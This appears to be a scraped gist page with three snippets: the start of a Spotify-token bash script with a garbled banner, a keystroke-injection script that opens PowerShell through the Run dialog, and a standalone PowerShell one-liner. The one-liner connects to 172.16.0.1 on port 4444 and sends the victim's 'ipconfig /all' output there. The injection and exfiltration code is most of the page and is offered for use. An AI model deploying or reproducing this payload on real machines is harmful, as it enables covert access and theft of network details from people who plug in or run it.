This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
## This script was made for my own projects, and might not work as expected for your projects. | |
## ββββββββββ βββ ββββββ ββββ βββ βββββββ ββββββββ ββββββββββββ βββββββββββββββββ | |
## βββββββββββ ββββββββββββββββ βββββββββββ ββββββββ ββββββββββββ βββββββββββββββββ | |
## βββ ββββββββββββββββββββββ ββββββ ββββββββββ βββ ββββββββββββββββββββββ | |
## βββ βββββββββββββββββββββββββββββ βββββββββ βββ ββββββββββββββββββββββ | |
## βββββββββββ ββββββ ββββββ βββββββββββββββββββββββ βββ βββ βββββββββββββββββ | |
## ββββββββββ ββββββ ββββββ βββββ βββββββ ββββββββ βββ βββ βββββββββββββββββ | |
## Enter your bearer OAuth token here. For more information, go to https://developer.spotify.com/console/post-playlist-tracks/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
layout("US"); | |
press("GUI r"); | |
delay(500); | |
type("powershell\n"); | |
delay(1100); | |
type("$Port = '4444';$tcpConnection = New-Object System.Net.Sockets.TcpClient('172.16.0.1', $Port);$tcpStream = $tcpConnection.GetStream();$writer = New-Object System.IO.StreamWriter($tcpStream);$writer.AutoFlush = $true;while ($tcpConnection.Connected){if ($tcpConnection.Connected){$command = ipconfig /all;$output = $command | out-string;$writer.WriteLine($output) | Out-Null;break}}$writer.Close();exit\n"); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$Port = "4444";$tcpConnection = New-Object System.Net.Sockets.TcpClient('172.16.0.1', $Port);$tcpStream = $tcpConnection.GetStream();$writer = New-Object System.IO.StreamWriter($tcpStream);$writer.AutoFlush = $true;while ($tcpConnection.Connected){if ($tcpConnection.Connected){$command = ipconfig /all;$output = $command | out-string;$writer.WriteLine($output) | Out-Null;break}}$writer.Close() |
NewerOlder